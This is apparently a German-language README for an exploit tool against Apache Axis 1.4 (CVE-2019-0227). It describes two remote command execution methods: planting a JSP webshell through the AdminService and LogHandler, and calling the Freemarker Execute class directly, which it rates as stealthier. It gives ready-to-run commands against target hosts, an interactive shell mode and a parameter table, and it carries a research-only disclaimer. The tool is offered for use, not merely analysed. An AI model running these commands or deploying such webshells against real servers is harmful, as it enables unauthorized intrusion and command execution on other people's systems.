
Apache Axis1.4 Tool zur Ausnutzung der Remote-Befehlsausführungsschwachstelle - CVE-2019-0227, unterstützt randomisierte Dienstnamen und Webshell-Dateinamen
Apache Axis1.4 enthält eine Schwachstelle zur Remote-Befehlsausführung (CVE-2019-0227). Wenn die Eigenschaft enableRemoteAdmin auf true gesetzt ist, kann ein Angreifer über die AdminService-Schnittstelle bösartige Dienste bereitstellen und so beliebige Systembefehle auf dem Zielserver ausführen.
Betroffene Versionen: Apache Axis ≤ 1.4
Auslösebedingung: enableRemoteAdmin auf true gesetzt
| Methode | Skript | Prinzip | Datei geschrieben? | Tarnung |
|---|---|---|---|---|
| Methode 1: JSP Webshell | jsp-webshell/axis_exp.py | Schreibt JSP Webshell über LogHandler | ✅ Ja | Niedrig |
| Methode 2: Freemarker Direktausführung | freemarker-exec/axis_freemarker_exp.py | Ruft direkt Freemarker Execute-Klasse zur Befehlsausführung auf | ❌ Nein | Hoch |
cd jsp-webshell
python3 axis_exp.py -u http://target.com:8080/axis/ -c "whoami"
cd freemarker-exec
python3 axis_freemarker_exp.py -u http://target.com:8080/axis/ -c "whoami"
pip install requests urllib3
Axis1.4-CVE-2019-0227/
├── README.md
├── jsp-webshell/
│ ├── axis_exp.py
│ └── README.md
└── freemarker-exec/
├── axis_freemarker_exp.py
└── README.md
Dieses Tool dient ausschließlich der Sicherheitsforschung und autorisierten Tests. Die unbefugte Nutzung dieses Tools zum Angriff auf Zielsysteme ist illegal. Der Benutzer trägt die alleinige rechtliche Verantwortung.
MIT License
Bereitstellung eines bösartigen Dienstes über den Axis AdminService, Nutzung des LogHandler zum Schreiben einer JSP Webshell, dann Ausführung von Befehlen über GET-Anfragen.
Bösartigen Dienst bereitstellen → LogHandler schreibt shell.jsp → Befehl über GET-Anfrage ausführen
# Einzelnen Befehl ausführen
python3 axis_exp.py -u http://localhost:8080/axis/ -c "whoami"
# Interaktive Shell
python3 axis_exp.py -u http://localhost:8080/axis/ -i
# Mit Authentifizierung
python3 axis_exp.py -u http://localhost:8080/axis/ -U admin -P admin -i
Bereitstellung eines Dienstes über den Axis AdminService, der auf die Klasse freemarker.template.utility.Execute verweist, und direkter Aufruf ihrer exec-Methode zur Ausführung von Systembefehlen, ohne Dateien zu schreiben.
Execute-Dienst bereitstellen → exec-Methode direkt aufrufen → Ergebnis der Befehlsausführung über SOAP-Antwort zurückgeben
Im Verzeichnis WEB-INF/lib/ der Ziel-Axis-Umgebung muss freemarker.jar vorhanden sein (wird standardmäßig mit Axis 1.4 mitgeliefert).
# Einzelnen Befehl ausführen
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -c "whoami"
# Interaktive Shell
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -i
# Mit Authentifizierung
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -U admin -P admin -i
| Parameter | Beschreibung |
|---|
-u, --url | Ziel-Adresse des Axis-Dienstes |
-c, --command | Einzelnen Befehl ausführen |
-i, --interactive | Interaktiver Shell-Modus |
-U, --username | Basic-Authentifizierungs-Benutzername |
-P, --password | Basic-Authentifizierungs-Passwort |
| Parameter | Beschreibung |
|---|
-u, --url | Ziel-Adresse des Axis-Dienstes |
-c, --command | Einzelnen Befehl ausführen |
-i, --interactive | Interaktiver Shell-Modus |
-U, --username | Basic-Authentifizierungs-Benutzername |
-P, --password | Basic-Authentifizierungs-Passwort |